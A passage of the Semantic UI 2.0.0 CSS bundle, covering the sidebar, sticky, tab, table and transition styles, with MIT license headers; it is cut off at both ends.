75%;\n  -ms-transform-origin: 50% 75%;\n  transform-origin: 50% 75%;\n}\n\n.ui.scale.down.bottom.sidebar ~ .pusher {\n  -webkit-transform-origin: 50% 25%;\n  -ms-transform-origin: 50% 25%;\n  transform-origin: 50% 25%;\n}\n\n/* Animation */\n\n.ui.animating.scale.down > .visible.ui.sidebar {\n  -webkit-transition: -webkit-transform 500ms ease;\n  transition: transform 500ms ease;\n}\n\n.ui.visible.scale.down.sidebar ~ .pusher,\n.ui.animating.scale.down.sidebar ~ .pusher {\n  display: block !important;\n  width: 100%;\n  height: 100%;\n  overflow: hidden !important;\n}\n\n/* End */\n\n.ui.visible.scale.down.sidebar {\n  -webkit-transform: translate3d(0, 0, 0);\n  transform: translate3d(0, 0, 0);\n}\n\n.ui.visible.scale.down.sidebar ~ .pusher {\n  -webkit-transform: scale(0.75);\n  -ms-transform: scale(0.75);\n  transform: scale(0.75);\n}\n\n/*******************************\n         Theme Overrides\n*******************************/\n\n/*******************************\n         Site Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Sticky\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n            Sticky\n*******************************/\n\n.ui.sticky {\n  position: static;\n  -webkit-transition: none;\n  transition: none;\n  z-index: 800;\n}\n\n/*******************************\n            States\n*******************************/\n\n/* Bound */\n\n.ui.sticky.bound {\n  position: absolute;\n  left: auto;\n  right: auto;\n}\n\n/* Fixed */\n\n.ui.sticky.fixed {\n  position: fixed;\n  left: auto;\n  right: auto;\n}\n\n/* Bound/Fixed Position */\n\n.ui.sticky.bound.top,\n.ui.sticky.fixed.top {\n  top: 0px;\n  bottom: auto;\n}\n\n.ui.sticky.bound.bottom,\n.ui.sticky.fixed.bottom {\n  top: auto;\n  bottom: 0px;\n}\n\n/*******************************\n            Types\n*******************************/\n\n.ui.native.sticky {\n  position: -webkit-sticky;\n  position: -moz-sticky;\n  position: -ms-sticky;\n  position: -o-sticky;\n  position: sticky;\n}\n\n/*******************************\n         Theme Overrides\n*******************************/\n\n/*******************************\n         Site Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Tab\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n           UI Tabs\n*******************************/\n\n.ui.tab {\n  display: none;\n}\n\n/*******************************\n             States\n*******************************/\n\n/*--------------------\n       Active\n---------------------*/\n\n.ui.tab.active,\n.ui.tab.open {\n  display: block;\n}\n\n/*--------------------\n       Loading\n---------------------*/\n\n.ui.tab.loading {\n  position: relative;\n  overflow: hidden;\n  display: block;\n  min-height: 250px;\n}\n\n.ui.tab.loading * {\n  position: relative !important;\n  left: -10000px !important;\n}\n\n.ui.tab.loading:before,\n.ui.tab.loading.segment:before {\n  position: absolute;\n  content: '';\n  top: 100px;\n  left: 50%;\n  margin: -1.25em 0em 0em -1.25em;\n  width: 2.5em;\n  height: 2.5em;\n  border-radius: 500rem;\n  border: 0.2em solid rgba(0, 0, 0, 0.1);\n}\n\n.ui.tab.loading:after,\n.ui.tab.loading.segment:after {\n  position: absolute;\n  content: '';\n  top: 100px;\n  left: 50%;\n  margin: -1.25em 0em 0em -1.25em;\n  width: 2.5em;\n  height: 2.5em;\n  -webkit-animation: button-spin 0.6s linear;\n  animation: button-spin 0.6s linear;\n  -webkit-animation-iteration-count: infinite;\n  animation-iteration-count: infinite;\n  border-radius: 500rem;\n  border-color: #767676 transparent transparent;\n  border-style: solid;\n  border-width: 0.2em;\n  box-shadow: 0px 0px 0px 1px transparent;\n}\n\n/*******************************\n         Tab Overrides\n*******************************/\n\n/*******************************\n        User Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Table\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n             Table\n*******************************/\n\n/* Prototype */\n\n.ui.table {\n  width: 100%;\n  background: #ffffff;\n  margin: 1em 0em;\n  border: 1px solid rgba(34, 36, 38, 0.15);\n  box-shadow: none;\n  border-radius: 0.28571429rem;\n  text-align: left;\n  color: rgba(0, 0, 0, 0.87);\n  border-collapse: separate;\n  border-spacing: 0px;\n}\n\n.ui.table:first-child {\n  margin-top: 0em;\n}\n\n.ui.table:last-child {\n  margin-bottom: 0em;\n}\n\n/*******************************\n             Parts\n*******************************/\n\n/* Table Content */\n\n.ui.table th,\n.ui.table td {\n  -webkit-transition: background 0.1s ease, color 0.1s ease;\n  transition: background 0.1s ease, color 0.1s ease;\n}\n\n/* Headers */\n\n.ui.table thead {\n  box-shadow: none;\n}\n\n.ui.table thead th {\n  cursor: auto;\n  background: #f9fafb;\n  text-align: inherit;\n  color: rgba(0, 0, 0, 0.87);\n  padding: 0.92857143em 0.71428571em;\n  vertical-align: inherit;\n  font-style: none;\n  font-weight: bold;\n  text-transform: none;\n  border-bottom: 1px solid rgba(34, 36, 38, 0.1);\n  border-left: none;\n}\n\n.ui.table thead tr > th:first-child {\n  border-left: none;\n}\n\n.ui.table thead tr:first-child > th:first-child {\n  border-radius: 0.28571429rem 0em 0em 0em;\n}\n\n.ui.table thead tr:first-child > th:last-child {\n  border-radius: 0em 0.28571429rem 0em 0em;\n}\n\n.ui.table thead tr:first-child > th:only-child {\n  border-radius: 0.28571429rem 0.28571429rem 0em 0em;\n}\n\n/* Footer */\n\n.ui.table tfoot {\n  box-shadow: none;\n}\n\n.ui.table tfoot th {\n  cursor: auto;\n  border-top: 1px solid rgba(34, 36, 38, 0.15);\n  background: #f9fafb;\n  text-align: inherit;\n  color: rgba(0, 0, 0, 0.87);\n  padding: 0.71428571em 0.71428571em;\n  vertical-align: middle;\n  font-style: normal;\n  font-weight: normal;\n  text-transform: none;\n}\n\n.ui.table tfoot tr > th:first-child {\n  border-left: none;\n}\n\n.ui.table tfoot tr:first-child > th:first-child {\n  border-radius: 0em 0em 0em 0.28571429rem;\n}\n\n.ui.table tfoot tr:first-child > th:last-child {\n  border-radius: 0em 0em 0.28571429rem 0em;\n}\n\n.ui.table tfoot tr:first-child > th:only-child {\n  border-radius: 0em 0em 0.28571429rem 0.28571429rem;\n}\n\n/* Table Row */\n\n.ui.table tr td {\n  border-top: 1px solid rgba(34, 36, 38, 0.1);\n}\n\n.ui.table tr:first-child td {\n  border-top: none;\n}\n\n/* Table Cells */\n\n.ui.table td {\n  padding: 0.71428571em 0.71428571em;\n  text-align: inherit;\n}\n\n/* Icons */\n\n.ui.table > .icon {\n  vertical-align: baseline;\n}\n\n.ui.table > .icon:only-child {\n  margin: 0em;\n}\n\n/* Table Segment */\n\n.ui.table.segment {\n  padding: 0em;\n}\n\n.ui.table.segment:after {\n  display: none;\n}\n\n.ui.table.segment.stacked:after {\n  display: block;\n}\n\n/* Responsive */\n\n@media only screen and (max-width: 767px) {\n  .ui.table:not(.unstackable) {\n    width: 100%;\n  }\n\n  .ui.table:not(.unstackable) tbody,\n  .ui.table:not(.unstackable) tr,\n  .ui.table:not(.unstackable) tr > th,\n  .ui.table:not(.unstackable) tr > td {\n    width: auto !important;\n    display: block !important;\n  }\n\n  .ui.table:not(.unstackable) {\n    padding: 0em;\n  }\n\n  .ui.table:not(.unstackable) thead {\n    display: block;\n  }\n\n  .ui.table:not(.unstackable) tfoot {\n    display: block;\n  }\n\n  .ui.table:not(.unstackable) tr {\n    padding-top: 1em;\n    padding-bottom: 1em;\n    box-shadow: 0px -1px 0px 0px rgba(0, 0, 0, 0.1) inset !important;\n  }\n\n  .ui.table:not(.unstackable) tr > th,\n  .ui.table:not(.unstackable) tr > td {\n    background: none;\n    border: none !important;\n    padding: 0.25em 0.75em !important;\n    box-shadow: none !important;\n  }\n\n  .ui.table:not(.unstackable) th:first-child,\n  .ui.table:not(.unstackable) td:first-child {\n    font-weight: bold;\n  }\n\n  /* Definition Table */\n\n  .ui.definition.table:not(.unstackable) thead th:first-child {\n    box-shadow: none !important;\n  }\n}\n\n/*******************************\n            Coupling\n*******************************/\n\n/* UI Image */\n\n.ui.table th .image,\n.ui.table th .image img,\n.ui.table td .image,\n.ui.table td .image img {\n  max-width: none;\n}\n\n/*******************************\n             Types\n*******************************/\n\n/*--------------\n    Complex\n---------------*/\n\n.ui.structured.table {\n  border-collapse: collapse;\n}\n\n.ui.structured.table thead th {\n  border-left: none;\n  border-right: none;\n}\n\n.ui.structured.sortable.table thead th {\n  border-left: 1px solid rgba(34, 36, 38, 0.15);\n  border-right: 1px solid rgba(34, 36, 38, 0.15);\n}\n\n.ui.structured.basic.table th {\n  border-left: none;\n  border-right: none;\n}\n\n.ui.structured.celled.table tr th,\n.ui.structured.celled.table tr td {\n  border-left: 1px solid rgba(34, 36, 38, 0.1);\n  border-right: 1px solid rgba(34, 36, 38, 0.1);\n}\n\n/*--------------\n   Definition\n---------------*/\n\n.ui.definition.table thead:not(.full-width) th:first-child {\n  pointer-events: none;\n  background: transparent;\n  font-weight: normal;\n  color: rgba(0, 0, 0, 0.4);\n  box-shadow: -1px -1px 0px 1px #ffffff;\n}\n\n.ui.definition.table tfoot:not(.full-width) th:first-child {\n  pointer-events: none;\n  background: transparent;\n  font-weight: rgba(0, 0, 0, 0.4);\n  color: normal;\n  box-shadow: 1px 1px 0px 1px #ffffff;\n}\n\n/* Remove Border */\n\n.ui.celled.definition.table thead:not(.full-width) th:first-child {\n  box-shadow: 0px -1px 0px 1px #ffffff;\n}\n\n.ui.celled.definition.table tfoot:not(.full-width) th:first-child {\n  box-shadow: 0px 1px 0px 1px #ffffff;\n}\n\n/* Highlight Defining Column */\n\n.ui.definition.table tr td:first-child {\n  background: rgba(0, 0, 0, 0.03);\n  font-weight: bold;\n  color: rgba(0, 0, 0, 0.95);\n}\n\n/* Fix 2nd Column */\n\n.ui.definition.table thead:not(.full-width) th:nth-child(2) {\n  border-left: 1px solid rgba(34, 36, 38, 0.15);\n}\n\n.ui.definition.table tfoot:not(.full-width) th:nth-child(2) {\n  border-left: 1px solid rgba(34, 36, 38, 0.15);\n}\n\n.ui.definition.table td:nth-child(2) {\n  border-left: 1px solid rgba(34, 36, 38, 0.15);\n}\n\n/*******************************\n             States\n*******************************/\n\n/*--------------\n    Positive\n---------------*/\n\n.ui.table tr.positive,\n.ui.table td.positive {\n  box-shadow: 0px 0px 0px #a3c293 inset;\n}\n\n.ui.table tr.positive,\n.ui.table td.positive {\n  background: #fcfff5 !important;\n  color: #2c662d !important;\n}\n\n/*--------------\n     Negative\n---------------*/\n\n.ui.table tr.negative,\n.ui.table td.negative {\n  box-shadow: 0px 0px 0px #e0b4b4 inset;\n}\n\n.ui.table tr.negative,\n.ui.table td.negative {\n  background: #fff6f6 !important;\n  color: #9f3a38 !important;\n}\n\n/*--------------\n      Error\n---------------*/\n\n.ui.table tr.error,\n.ui.table td.error {\n  box-shadow: 0px 0px 0px #e0b4b4 inset;\n}\n\n.ui.table tr.error,\n.ui.table td.error {\n  background: #fff6f6 !important;\n  color: #9f3a38 !important;\n}\n\n/*--------------\n     Warning\n---------------*/\n\n.ui.table tr.warning,\n.ui.table td.warning {\n  box-shadow: 0px 0px 0px #c9ba9b inset;\n}\n\n.ui.table tr.warning,\n.ui.table td.warning {\n  background: #fffaf3 !important;\n  color: #573a08 !important;\n}\n\n/*--------------\n     Active\n---------------*/\n\n.ui.table tr.active,\n.ui.table td.active {\n  box-shadow: 0px 0px 0px rgba(0, 0, 0, 0.87) inset;\n}\n\n.ui.table tr.active,\n.ui.table td.active {\n  background: #e0e0e0 !important;\n  color: rgba(0, 0, 0, 0.87) !important;\n}\n\n/*--------------\n     Disabled\n---------------*/\n\n.ui.table tr.disabled td,\n.ui.table tr td.disabled,\n.ui.table tr.disabled:hover,\n.ui.table tr:hover td.disabled {\n  pointer-events: none;\n  color: rgba(40, 40, 40, 0.3);\n}\n\n/*******************************\n          Variations\n*******************************/\n\n/*--------------\n    Stackable\n---------------*/\n\n@media only screen and (max-width: 991px) {\n  .ui[class*=\"tablet stackable\"].table,\n  .ui[class*=\"tablet stackable\"].table tbody,\n  .ui[class*=\"tablet stackable\"].table tr,\n  .ui[class*=\"tablet stackable\"].table tr > th,\n  .ui[class*=\"tablet stackable\"].table tr > td {\n    width: 100% !important;\n    display: block !important;\n  }\n\n  .ui[class*=\"tablet stackable\"].table {\n    padding: 0em;\n  }\n\n  .ui[class*=\"tablet stackable\"].table thead {\n    display: block;\n  }\n\n  .ui[class*=\"tablet stackable\"].table tfoot {\n    display: block;\n  }\n\n  .ui[class*=\"tablet stackable\"].table tr {\n    padding-top: 1em;\n    padding-bottom: 1em;\n    box-shadow: 0px -1px 0px 0px rgba(0, 0, 0, 0.1) inset !important;\n  }\n\n  .ui[class*=\"tablet stackable\"].table tr > th,\n  .ui[class*=\"tablet stackable\"].table tr > td {\n    background: none;\n    border: none !important;\n    padding: 0.25em 0.75em;\n    box-shadow: none !important;\n  }\n\n  /* Definition Table */\n\n  .ui.definition[class*=\"tablet stackable\"].table thead th:first-child {\n    box-shadow: none !important;\n  }\n}\n\n/*--------------\n Text Alignment\n---------------*/\n\n.ui.table[class*=\"left aligned\"],\n.ui.table [class*=\"left aligned\"] {\n  text-align: left;\n}\n\n.ui.table[class*=\"center aligned\"],\n.ui.table [class*=\"center aligned\"] {\n  text-align: center;\n}\n\n.ui.table[class*=\"right aligned\"],\n.ui.table [class*=\"right aligned\"] {\n  text-align: right;\n}\n\n/*------------------\n Vertical Alignment\n------------------*/\n\n.ui.table[class*=\"top aligned\"],\n.ui.table [class*=\"top aligned\"] {\n  vertical-align: top;\n}\n\n.ui.table[class*=\"middle aligned\"],\n.ui.table [class*=\"middle aligned\"] {\n  vertical-align: middle;\n}\n\n.ui.table[class*=\"bottom aligned\"],\n.ui.table [class*=\"bottom aligned\"] {\n  vertical-align: bottom;\n}\n\n/*--------------\n    Collapsing\n---------------*/\n\n.ui.table th.collapsing,\n.ui.table td.collapsing {\n  width: 1px;\n  white-space: nowrap;\n}\n\n/*--------------\n   Hoverable\n---------------*/\n\n.ui.selectable.table tbody tr:hover {\n  background: rgba(0, 0, 0, 0.05) !important;\n  color: rgba(0, 0, 0, 0.95) !important;\n}\n\n.ui.selectable.inverted.table tbody tr:hover {\n  background: rgba(255, 255, 255, 0.08) !important;\n  color: #ffffff !important;\n}\n\n/* Other States */\n\n.ui.selectable.table tr.error:hover,\n.ui.selectable.table tr:hover td.error {\n  background: #ffe7e7 !important;\n  color: #943634 !important;\n}\n\n.ui.selectable.table tr.warning:hover,\n.ui.selectable.table tr:hover td.warning {\n  background: #fff4e4 !important;\n  color: #493107 !important;\n}\n\n.ui.selectable.table tr.active:hover,\n.ui.selectable.table tr:hover td.active {\n  background: #e0e0e0 !important;\n  color: rgba(0, 0, 0, 0.87) !important;\n}\n\n.ui.selectable.table tr.positive:hover,\n.ui.selectable.table tr:hover td.positive {\n  background: #f7ffe6 !important;\n  color: #275b28 !important;\n}\n\n.ui.selectable.table tr.negative:hover,\n.ui.selectable.table tr:hover td.negative {\n  background: #ffe7e7 !important;\n  color: #943634 !important;\n}\n\n/*--------------\n    Attached\n---------------*/\n\n/* All */\n\n.ui.attached.table {\n  width: calc(100% +  2px );\n  margin: 0em -1px;\n  border-radius: 0px;\n  box-shadow: none;\n}\n\n/* Top */\n\n.ui[class*=\"top attached\"].table {\n  margin-top: 1em;\n  border-radius: 0.28571429rem 0.28571429rem 0em 0em;\n}\n\n.ui.table[class*=\"top attached\"]:first-child {\n  margin-top: 0em;\n}\n\n/* Bottom */\n\n.ui.table[class*=\"bottom attached\"] {\n  margin-top: 0em;\n  margin-bottom: 1em;\n  border-radius: 0em 0em 0.28571429rem 0.28571429rem;\n}\n\n.ui.table[class*=\"bottom attached\"]:last-child {\n  margin-bottom: 0em;\n}\n\n/*--------------\n     Striped\n---------------*/\n\n/* Table Striping */\n\n.ui.striped.table > tr:nth-child(2n),\n.ui.striped.table tbody tr:nth-child(2n) {\n  background-color: rgba(0, 0, 50, 0.02);\n}\n\n/* Stripes */\n\n.ui.inverted.striped.table > tr:nth-child(2n),\n.ui.inverted.striped.table tbody tr:nth-child(2n) {\n  background-color: rgba(255, 255, 255, 0.05);\n}\n\n/*--------------\n   Single Line\n---------------*/\n\n.ui.table[class*=\"single line\"],\n.ui.table [class*=\"single line\"] {\n  white-space: nowrap;\n}\n\n/*-------------------\n       Colors\n--------------------*/\n\n/* Red */\n\n.ui.red.table {\n  border-top: 0.2em solid #db2828;\n}\n\n.ui.inverted.red.table {\n  background-color: #db2828 !important;\n  color: #ffffff !important;\n}\n\n/* Orange */\n\n.ui.orange.table {\n  border-top: 0.2em solid #f2711c;\n}\n\n.ui.inverted.orange.table {\n  background-color: #f2711c !important;\n  color: #ffffff !important;\n}\n\n/* Yellow */\n\n.ui.yellow.table {\n  border-top: 0.2em solid #fbbd08;\n}\n\n.ui.inverted.yellow.table {\n  background-color: #fbbd08 !important;\n  color: #ffffff !important;\n}\n\n/* Olive */\n\n.ui.olive.table {\n  border-top: 0.2em solid #b5cc18;\n}\n\n.ui.inverted.olive.table {\n  background-color: #b5cc18 !important;\n  color: #ffffff !important;\n}\n\n/* Green */\n\n.ui.green.table {\n  border-top: 0.2em solid #21ba45;\n}\n\n.ui.inverted.green.table {\n  background-color: #21ba45 !important;\n  color: #ffffff !important;\n}\n\n/* Teal */\n\n.ui.teal.table {\n  border-top: 0.2em solid #00b5ad;\n}\n\n.ui.inverted.teal.table {\n  background-color: #00b5ad !important;\n  color: #ffffff !important;\n}\n\n/* Blue */\n\n.ui.blue.table {\n  border-top: 0.2em solid #2185d0;\n}\n\n.ui.inverted.blue.table {\n  background-color: #2185d0 !important;\n  color: #ffffff !important;\n}\n\n/* Violet */\n\n.ui.violet.table {\n  border-top: 0.2em solid #6435c9;\n}\n\n.ui.inverted.violet.table {\n  background-color: #6435c9 !important;\n  color: #ffffff !important;\n}\n\n/* Purple */\n\n.ui.purple.table {\n  border-top: 0.2em solid #a333c8;\n}\n\n.ui.inverted.purple.table {\n  background-color: #a333c8 !important;\n  color: #ffffff !important;\n}\n\n/* Pink */\n\n.ui.pink.table {\n  border-top: 0.2em solid #e03997;\n}\n\n.ui.inverted.pink.table {\n  background-color: #e03997 !important;\n  color: #ffffff !important;\n}\n\n/* Brown */\n\n.ui.brown.table {\n  border-top: 0.2em solid #a5673f;\n}\n\n.ui.inverted.brown.table {\n  background-color: #a5673f !important;\n  color: #ffffff !important;\n}\n\n/* Grey */\n\n.ui.grey.table {\n  border-top: 0.2em solid #767676;\n}\n\n.ui.inverted.grey.table {\n  background-color: #767676 !important;\n  color: #ffffff !important;\n}\n\n/* Black */\n\n.ui.black.table {\n  border-top: 0.2em solid #1b1c1d;\n}\n\n.ui.inverted.black.table {\n  background-color: #1b1c1d !important;\n  color: #ffffff !important;\n}\n\n/*--------------\n  Column Count\n---------------*/\n\n/* Grid Based */\n\n.ui.one.column.table td {\n  width: 100%;\n}\n\n.ui.two.column.table td {\n  width: 50%;\n}\n\n.ui.three.column.table td {\n  width: 33.33333333%;\n}\n\n.ui.four.column.table td {\n  width: 25%;\n}\n\n.ui.five.column.table td {\n  width: 20%;\n}\n\n.ui.six.column.table td {\n  width: 16.66666667%;\n}\n\n.ui.seven.column.table td {\n  width: 14.28571429%;\n}\n\n.ui.eight.column.table td {\n  width: 12.5%;\n}\n\n.ui.nine.column.table td {\n  width: 11.11111111%;\n}\n\n.ui.ten.column.table td {\n  width: 10%;\n}\n\n.ui.eleven.column.table td {\n  width: 9.09090909%;\n}\n\n.ui.twelve.column.table td {\n  width: 8.33333333%;\n}\n\n.ui.thirteen.column.table td {\n  width: 7.69230769%;\n}\n\n.ui.fourteen.column.table td {\n  width: 7.14285714%;\n}\n\n.ui.fifteen.column.table td {\n  width: 6.66666667%;\n}\n\n.ui.sixteen.column.table td {\n  width: 6.25%;\n}\n\n/* Column Width */\n\n.ui.table th.one.wide,\n.ui.table td.one.wide {\n  width: 6.25%;\n}\n\n.ui.table th.two.wide,\n.ui.table td.two.wide {\n  width: 12.5%;\n}\n\n.ui.table th.three.wide,\n.ui.table td.three.wide {\n  width: 18.75%;\n}\n\n.ui.table th.four.wide,\n.ui.table td.four.wide {\n  width: 25%;\n}\n\n.ui.table th.five.wide,\n.ui.table td.five.wide {\n  width: 31.25%;\n}\n\n.ui.table th.six.wide,\n.ui.table td.six.wide {\n  width: 37.5%;\n}\n\n.ui.table th.seven.wide,\n.ui.table td.seven.wide {\n  width: 43.75%;\n}\n\n.ui.table th.eight.wide,\n.ui.table td.eight.wide {\n  width: 50%;\n}\n\n.ui.table th.nine.wide,\n.ui.table td.nine.wide {\n  width: 56.25%;\n}\n\n.ui.table th.ten.wide,\n.ui.table td.ten.wide {\n  width: 62.5%;\n}\n\n.ui.table th.eleven.wide,\n.ui.table td.eleven.wide {\n  width: 68.75%;\n}\n\n.ui.table th.twelve.wide,\n.ui.table td.twelve.wide {\n  width: 75%;\n}\n\n.ui.table th.thirteen.wide,\n.ui.table td.thirteen.wide {\n  width: 81.25%;\n}\n\n.ui.table th.fourteen.wide,\n.ui.table td.fourteen.wide {\n  width: 87.5%;\n}\n\n.ui.table th.fifteen.wide,\n.ui.table td.fifteen.wide {\n  width: 93.75%;\n}\n\n.ui.table th.sixteen.wide,\n.ui.table td.sixteen.wide {\n  width: 100%;\n}\n\n/*--------------\n    Sortable\n---------------*/\n\n.ui.sortable.table thead th {\n  cursor: pointer;\n  white-space: nowrap;\n  border-left: 1px solid rgba(34, 36, 38, 0.15);\n  color: rgba(0, 0, 0, 0.87);\n}\n\n.ui.sortable.table thead th:first-child {\n  border-left: none;\n}\n\n.ui.sortable.table thead th.sorted,\n.ui.sortable.table thead th.sorted:hover {\n  -webkit-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  user-select: none;\n}\n\n.ui.sortable.table thead th:after {\n  display: none;\n  font-style: normal;\n  font-weight: normal;\n  text-decoration: inherit;\n  content: '';\n  height: 1em;\n  width: auto;\n  opacity: 0.8;\n  margin: 0em 0em 0em 0.5em;\n  font-family: 'Icons';\n}\n\n.ui.sortable.table thead th.ascending:after {\n  content: '\\f0d8';\n}\n\n.ui.sortable.table thead th.descending:after {\n  content: '\\f0d7';\n}\n\n/* Hover */\n\n.ui.sortable.table th.disabled:hover {\n  cursor: auto;\n  color: rgba(40, 40, 40, 0.3);\n}\n\n.ui.sortable.table thead th:hover {\n  background: rgba(0, 0, 0, 0.05);\n  color: rgba(0, 0, 0, 0.8);\n}\n\n/* Sorted */\n\n.ui.sortable.table thead th.sorted {\n  background: rgba(0, 0, 0, 0.05);\n  color: rgba(0, 0, 0, 0.95);\n}\n\n.ui.sortable.table thead th.sorted:after {\n  display: inline-block;\n}\n\n/* Sorted Hover */\n\n.ui.sortable.table thead th.sorted:hover {\n  background: rgba(0, 0, 0, 0.05);\n  color: rgba(0, 0, 0, 0.95);\n}\n\n/* Inverted */\n\n.ui.inverted.sortable.table thead th.sorted {\n  background: rgba(255, 255, 255, 0.15) -webkit-linear-gradient(transparent, rgba(0, 0, 0, 0.05));\n  background: rgba(255, 255, 255, 0.15) linear-gradient(transparent, rgba(0, 0, 0, 0.05));\n  color: #ffffff;\n}\n\n.ui.inverted.sortable.table thead th:hover {\n  background: rgba(255, 255, 255, 0.08) -webkit-linear-gradient(transparent, rgba(0, 0, 0, 0.05));\n  background: rgba(255, 255, 255, 0.08) linear-gradient(transparent, rgba(0, 0, 0, 0.05));\n  color: #ffffff;\n}\n\n.ui.inverted.sortable.table thead th {\n  border-left-color: transparent;\n  border-right-color: transparent;\n}\n\n/*--------------\n    Inverted\n---------------*/\n\n/* Text Color */\n\n.ui.inverted.table {\n  background: #333333;\n  color: rgba(255, 255, 255, 0.9);\n  border: none;\n}\n\n.ui.inverted.table th {\n  background-color: rgba(0, 0, 0, 0.15);\n  border-color: rgba(255, 255, 255, 0.1) !important;\n  color: rgba(255, 255, 255, 0.9);\n}\n\n.ui.inverted.table tr td {\n  border-color: rgba(255, 255, 255, 0.1) !important;\n}\n\n.ui.inverted.table tr.disabled td,\n.ui.inverted.table tr td.disabled,\n.ui.inverted.table tr.disabled:hover td,\n.ui.inverted.table tr:hover td.disabled {\n  pointer-events: none;\n  color: rgba(225, 225, 225, 0.3);\n}\n\n/* Definition */\n\n.ui.inverted.definition.table tfoot:not(.full-width) th:first-child,\n.ui.inverted.definition.table thead:not(.full-width) th:first-child {\n  background: #ffffff;\n}\n\n.ui.inverted.definition.table tr td:first-child {\n  background: rgba(255, 255, 255, 0.02);\n  color: #ffffff;\n}\n\n/*--------------\n   Collapsing\n---------------*/\n\n.ui.collapsing.table {\n  width: auto;\n}\n\n/*--------------\n      Basic\n---------------*/\n\n.ui.basic.table {\n  background: transparent;\n  border: 1px solid rgba(34, 36, 38, 0.15);\n  box-shadow: none;\n}\n\n.ui.basic.table thead,\n.ui.basic.table tfoot {\n  box-shadow: none;\n}\n\n.ui.basic.table th {\n  background: transparent;\n  border-left: none;\n}\n\n.ui.basic.table tbody tr {\n  border-bottom: 1px solid rgba(0, 0, 0, 0.1);\n}\n\n.ui.basic.table td {\n  background: transparent;\n}\n\n.ui.basic.striped.table tbody tr:nth-child(2n) {\n  background-color: rgba(0, 0, 0, 0.05) !important;\n}\n\n/* Very Basic */\n\n.ui[class*=\"very basic\"].table {\n  border: none;\n}\n\n.ui[class*=\"very basic\"].table:not(.sortable):not(.striped) th,\n.ui[class*=\"very basic\"].table:not(.sortable):not(.striped) td {\n  padding: '';\n}\n\n.ui[class*=\"very basic\"].table:not(.sortable):not(.striped) th:first-child,\n.ui[class*=\"very basic\"].table:not(.sortable):not(.striped) td:first-child {\n  padding-left: 0em;\n}\n\n.ui[class*=\"very basic\"].table:not(.sortable):not(.striped) th:last-child,\n.ui[class*=\"very basic\"].table:not(.sortable):not(.striped) td:last-child {\n  padding-right: 0em;\n}\n\n.ui[class*=\"very basic\"].table:not(.sortable):not(.striped) thead tr:first-child th {\n  padding-top: 0em;\n}\n\n/*--------------\n     Celled\n---------------*/\n\n.ui.celled.table tr th,\n.ui.celled.table tr td {\n  border-left: 1px solid rgba(34, 36, 38, 0.1);\n}\n\n.ui.celled.table tr th:first-child,\n.ui.celled.table tr td:first-child {\n  border-left: none;\n}\n\n/*--------------\n     Padded\n---------------*/\n\n.ui.padded.table th {\n  padding-left: 1em;\n  padding-right: 1em;\n}\n\n.ui.padded.table th,\n.ui.padded.table td {\n  padding: 1em 1em;\n}\n\n/* Very */\n\n.ui[class*=\"very padded\"].table th {\n  padding-left: 1.5em;\n  padding-right: 1.5em;\n}\n\n.ui[class*=\"very padded\"].table td {\n  padding: 1.5em 1.5em;\n}\n\n/*--------------\n     Compact\n---------------*/\n\n.ui.compact.table th {\n  padding-left: 0.7em;\n  padding-right: 0.7em;\n}\n\n.ui.compact.table td {\n  padding: 0.5em 0.7em;\n}\n\n/* Very */\n\n.ui[class*=\"very compact\"].table th {\n  padding-left: 0.6em;\n  padding-right: 0.6em;\n}\n\n.ui[class*=\"very compact\"].table td {\n  padding: 0.4em 0.6em;\n}\n\n/*--------------\n      Sizes\n---------------*/\n\n/* Small */\n\n.ui.small.table {\n  font-size: 0.9em;\n}\n\n/* Standard */\n\n.ui.table {\n  font-size: 1em;\n}\n\n/* Large */\n\n.ui.large.table {\n  font-size: 1.1em;\n}\n\n/*******************************\n         Site Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Transition\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n          Transitions\n*******************************/\n\n.transition {\n  -webkit-animation-iteration-count: 1;\n  animation-iteration-count: 1;\n  -webkit-animation-duration: 300ms;\n  animation-duration: 300ms;\n  -webkit-animation-timing-function: ease;\n  animation-timing-function: ease;\n  -webkit-animation-fill-mode: both;\n  animation-fill-mode: both;\n}\n\n/*******************************\n            States\n*******************************/\n\n/* Animating */\n\n.animating.transition {\n  -webkit-backface-visibility: hidden;\n  backface-visibility: hidden;\n  visibility: visible !important;\n}\n\n/* Loading */\n\n.loading.transition {\n  position: absolute;\n  top: -99999px;\n  left: -99999px;\n}\n\n/* Hidden */\n\n.hidden.transition {\n  display: none;\n  visibility: hidden;\n}\n\n/* Visible */\n\n.visible.transition {\n  display: block !important;\n  visibility: visible !important;\n  /*  backface-visibility: @backfaceVisibility;\n  transform: @use3DAcceleration;*/\n}\n\n/* Disabled */\n\n.disabled.transition {\n  -webkit-animation-play-state: paused;\n  animation-play-state: paused;\n}\n\n/*******************************\n          Variations\n*******************************/\n\n.looping.transition {\n  -webkit-animation-iteration-count: infinite;\n  animation-iteration-count: infinite;\n}\n\n/*******************************\n          Transitions\n*******************************/\n\n/*\n  Some transitions adapted from Animate CSS\n  https://github.com/daneden/animate.css\n\n  Additional transitions adapted from Glide\n  by Nick Pettit - https://github.com/nickpettit/glide\n*/\n\n/*--------------\n     Browse\n---------------*/\n\n.transition.browse {\n  -webkit-animation-duration: 500ms;\n  animation-duration: 500ms;\n}\n\n.transition.browse.in {\n  -webkit-animation-name: browseIn;\n  animation-name: browseIn;\n}\n\n.transition.browse.out,\n.transition.browse.left.out {\n  -webkit-animation-name: browseOutLeft;\n  animation-name: browseOutLeft;\n}\n\n.transition.browse.right.out {\n  -webkit-animation-name: browseOutRight;\n  animation-name: browseOutRight;\n}\n\n/* In */\n\n@-webkit-keyframes browseIn {\n  0% {\n    -webkit-transform: scale(0.8) translateZ(0px);\n    transform: scale(0.8) 